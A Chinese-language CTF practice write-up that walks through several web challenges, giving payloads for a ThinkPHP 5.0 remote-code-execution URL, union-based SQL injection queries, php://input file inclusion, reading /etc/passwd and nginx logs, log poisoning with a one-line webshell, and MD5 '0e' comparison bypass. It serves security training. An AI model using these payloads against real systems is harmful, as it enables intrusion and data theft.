攻防世界(进阶刷题)php_rce 以及ctf.show注入通关

目录

php_rce

NewsCenter

ctf.show_web3

ctf.show_web4

ctf.show_web5

ctf.show_web6

 ctf.show_web7



php_rce

这道题考察php远程漏洞问题

打开界面一看,攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第1张图片

然后看师傅们的wp都是直接去,github去查Think PHP V5漏洞

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第2张图片

然后随便找了一个输了进去发现,提示我们要用5.02的版本漏洞

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第3张图片

6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

 攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第4张图片

 攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第5张图片

 一直 ls ../../../查询根目录发现,flag 然后用find查找一下和flag相关的文件

格式为:find / -name "flag"

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第6张图片

 发现flag的目录下面,还是flag,这时候可以直接采用cat查找

格式为: cat /flag  或者 tac /flag

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第7张图片

 到这里就结束了,总结一下:步骤为-->找到相应版本漏洞-->然后进行查目录-->最后查flag

NewsCenter

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第8张图片

 打开以后看见界面,一个文本框猜测是sql注入,然后验证时什么注入

1.首先进行列的判断,' order by 3 #     注释:#的作用时注释后面的内容,也可以用--+测试一下哪个没报错,报错说明被过滤掉了

先测试输入1产生回显,1'出现 http error 500报错,说明这是一个字符型的注入

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第9张图片

 攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第10张图片

查看回显位置。

' union select 1,database(),3 #

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第11张图片

数据库出来以后,就看表名 

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第12张图片

 查到表名,然后查询字段就可以了

' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第13张图片

' union select 1,fl4g,3 from secret_table #

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第14张图片

 一个简单的联合注入就结束了!

ctf.show_web3

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第15张图片

打开文件发现,include包含,想到了文件包含漏洞,然后就需要用到伪协议 

试了一下直接在url上,php://input不出现结果然后抓包

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第16张图片

system('ls')是系统命令查看当前目录下的所有文件,然后需要和上面空一行否则不执行

 攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第17张图片

感觉flag就在ctf_go_go_go这个文件中,直接访问

 攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第18张图片

ctf.show_web4

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第19张图片

 尝试各种伪协议都是报错,就换一种思路

 看了大佬的wp写的是日记注入,?url=/etc/passwd

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第20张图片

发现成功显示出文件内容,那么尝试查看日志看看,?url=/var/log/nginx/access.log

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第21张图片

 尝试修改header,在header中User-Agent写马并使用蚁剑连接日志目录,得到flag

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第22张图片

 直接Forward,传入一句话木马后,用蚁建链接。用url(为日记的地址)就可以,密码为shell

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第23张图片

 在目录下面找到flag,结束

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第24张图片

ctf.show_web5





    
    
    ctf.show_web5


    

ctf.show_web5


然后看见md5知道考察,?v1=QNKCDZO&v2=240610708

QNKCDZO 的md5值为 0e830400451993494058024219903391

240610708 的md5值为 0e462097431906509019562988736854

分别满足纯字母和数字字符串,并且md5值以0e开头,而0e开头的字符串参与比较(==)时,会转化为0,也就是 0==0,返回true使if判断成立,从而输出flag

ctf.show_web6

打开界面发现也是一道sql注入的题,但这道题过滤了空格 用 /**/ 或()代替就可

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第25张图片

 看见报错,感觉是空格过滤,然后试一下就出来了

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第26张图片

 果然,是字符型注入,然后联合注入就得出flag与web3一样

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第27张图片

 ctf.show_web7

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第28张图片

 打开以后看见链接还不明白然后随便点进去

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第29张图片

 发现id在发生变化,感觉是一个sql注入,判断类型

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第30张图片

 攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第31张图片

 

 如果是字符型注入 1=2会判断正确会有回显,所以这是数值型注入,然后过滤了空格,然后联合注入判断回显位置剩下的你就会了

攻防世界(进阶刷题)php_rce 以及ctf.show注入通关_第32张图片

 这里提醒一下id=-1因为这样显示错误,然后才会往后面查询

你可能感兴趣的:(php,安全,开发语言)